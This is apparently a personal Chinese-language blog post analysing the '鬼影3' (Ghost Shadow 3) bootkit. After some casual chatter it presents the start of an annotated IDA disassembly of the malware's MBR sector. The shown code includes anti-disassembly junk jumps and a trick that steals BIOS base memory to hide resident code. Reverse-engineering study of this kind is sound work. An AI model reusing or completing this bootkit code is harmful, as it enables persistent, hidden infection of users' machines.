好吧,写一个好的病毒确实是一门艺术,但是现在已经很少有人在坚持这个了.
今天下午开例会,老板宣布正式放假了,暑假宿舍没空调,结果老板说,可以去她办公室,啊哈哈哈哈哈.我决定坚持留下来学习了>_<
吐槽能力下降,难道是因为两天没看银魂么...阿西啊~~~
入正题,注释写很多啦我就不多费口舌啦.鬼影3还是很亮的,神马加花指令啊,自解码的都用上了.哥喜欢..
下面是鬼影3的MBR部分详细注释版,不包括进入Protect Mode的代码,因为我还没看完,这部分只是MBR部分那一个扇区的东西,但是很多亮点.
先上磁盘布局图,又自己画图的人儿你伤不起啊(喂神马要说个又字..)
第一个图,Hook前,红色框框是Mbr的查找标志
第二个图,Hook后,红色框框是修改后的跳转,6个字节
下面是Mbr部分:
/*++
@file VirusMbr.asm
@auth GaA.Ra
@date 2011.7.8
--*/
/*
seg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:0000 ; | Copyright (c) 2011 Hex-Rays, <[email protected]> |
seg000:0000 ; | License info: B3-432E-F558-21 |
seg000:0000 ; | Ilfak Guilfanov |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5 : 221EB8E61A90BC86EBF7F92FDE5A9D7A
seg000:0000 ; Input CRC32 : 9B617B04
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name : D:\SourceLib\MyCode\TestProj\ReverseEng\鬼影3样本\VirusMbrFix.bin
seg000:0000 ; Format : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000 .686p
seg000:0000 .mmx
seg000:0000 .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000 segment byte public 'CODE' use16
seg000:0000 assume cs:seg000
seg000:0000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000
seg000:0000 loc_0: ; 进行一系列初始化工作
seg000:0000 jb short loc_5
seg000:0002 jnb short loc_5 ; 进行一系列初始化工作
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004 db 0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5: ; CODE XREF: seg000:loc_0↑j
seg000:0005 ; seg000:0002↑j
seg000:0005 cli ; 进行一系列初始化工作
seg000:0006 mov word ptr cs:600h, es
seg000:000B mov cs:602h, sp
seg000:0010 mov word ptr cs:604h, ss
seg000:0015 mov dword ptr cs:7FCh, 800h
seg000:001F lss sp, cs:7FCh
seg000:0025 pushad
seg000:0027 push ds
seg000:0028 mov bx, cs:413h ; BIOS 0x413 内存记录区
seg000:002D sub bx, 0Dh ; 分配13KB
seg000:0031 and bl, 0FCh ; 按4K页对齐
seg000:0034 mov cs:413h, bx ; 写回BIOS内存记录区
seg000:0039 shl bx, 6 ; 计算段基址
seg000:003C mov es, bx